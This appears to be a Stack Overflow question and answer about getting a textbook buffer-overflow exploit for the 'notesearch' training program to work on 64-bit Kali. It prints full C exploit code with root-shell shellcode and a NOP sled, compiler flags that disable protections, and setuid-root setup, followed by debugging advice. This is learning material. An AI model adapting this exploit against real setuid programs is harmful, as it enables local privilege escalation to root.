0

So, to start off with, I am on Kali 2020.1, fully updated. 64 bit. The source code is as follows:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include "hacking.h"
#include <unistd.h>
#include <stdlib.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
    long int i, *ptr, ret, offset=270;
    char *command, *buffer;
    command = (char *) malloc(200);

    bzero(command, 200); // Zero out the new memory.
    strcpy(command, "./notesearch \'"); // Start command buffer.
    buffer = command + strlen(command); // Set buffer at the end.
    if(argc > 1) // Set offset.
        offset = atoi(argv[1]);
    ret = (long int) &i - offset; // Set return address.

    for(i=0; i < 160; i+=4) // Fill buffer with return address.
        *((unsigned int *)(buffer+i)) = ret;

   memset(buffer, 0x90, 60); // Build NOP sled.
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
   strcat(command, "\'");
   system(command); // Run exploit.
   free(command);
}

Now, some important clarifications. I included all those libraries because compilation throws warnings without them. The preceding notetaker and notesearch programs, as well as this exploit_notesearch program have been compiled as follows in the Terminal:

gcc -g -mpreferred-stack-boundary=4 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack -o exploit_notesearch exploit_notesearch.c

I no longer remember the source which said I must compile this way (the preferred stack boundary was 2 for them, but my machine requires it to be between 4 and 12). Also, the stack is executable now as you can see.

All 3 programs (notetaker, notesearch, and exploit_notesearch) had their permissions modified as in the book:

sudo chown root:root ./program_name
sudo chmod u+s ./program_name

I tried following the solution from this link: Debugging Buffer Overflow Example , but to no avail. Same goes for this link: Not So Fast Shellcode Exploit

Changing the offset incrementally from 0 to 330 by using increments of 1, 10, 20, and 30 in the terminal using a for-loop also did not solve my problem. I keep getting a segmentation fault no matter what I do.

What could be the issue in my case and what would be the best way to overcome said issue? Thank you.

P.S I remember reading that I'm supposed to use 64-bit shellcode instead of the one provided.

Victor Simon
  • 75
  • 3
  • 10
  • Stop reading that book:( – Martin James Jun 09 '20 at 14:41
  • May I ask why? It's a fairly good book in my opinion. Sure, the specific exploits themselves might be outdated, but not the concepts. Just my 2 cents. Many people recommended it to me. – Victor Simon Jun 09 '20 at 19:46
  • In general it isn't simple to convert a 32-bit exploit to 64-bit. You basically have to start over: analyze the vulnerability and redesign the exploit from scratch. It's not just a matter of using different shellcode; addresses, stack layout, pointer sizes, where zero bytes can and can't be; these things all change. In particular you can't expect to do it by just tweaking things without already having a firm understanding of how everything works. – Nate Eldredge Jun 18 '20 at 18:55
  • 1
    You *might* get something to work if you do everything in 32-bit mode, i.e. compile with `-m32`. – Nate Eldredge Jun 18 '20 at 18:56
  • Thank you. -m32 flag worked! – Victor Simon Jun 20 '20 at 14:52

1 Answers1

2

When you are segfaulting, it is a great time to run it within a debugger like GDB. It should tell you right where you are crashing, and you can step through the execution and validate the assumptions you are making. The most common segfaults tend to be invalid memory permissions (like trying to execute a non-executable page) or an invalid instruction (eg., if you land in the middle of shellcode, not in a NOP sled).

You are running into a couple of issues trying to convert the exploit to work on 32-bit. When filling the buffer with return addresses, it's using the constant 4 when pointers on 64-bit are actually 8 bytes.

for(i=0; i < 160; i+=4) // Fill buffer with return address.
    *((unsigned int *)(buffer+i)) = ret;

That could also present some issues when trying to exploit the strcpy bug, because those 64-bit addresses will contain NULL bytes (since the usable address space only uses 6 of the 8 bytes). Thus, if you have some premature NULL bytes before actually overwriting the return address on the stack, you won't actually copy enough data to leverage the overflow as intended.

crand6
  • 114
  • 6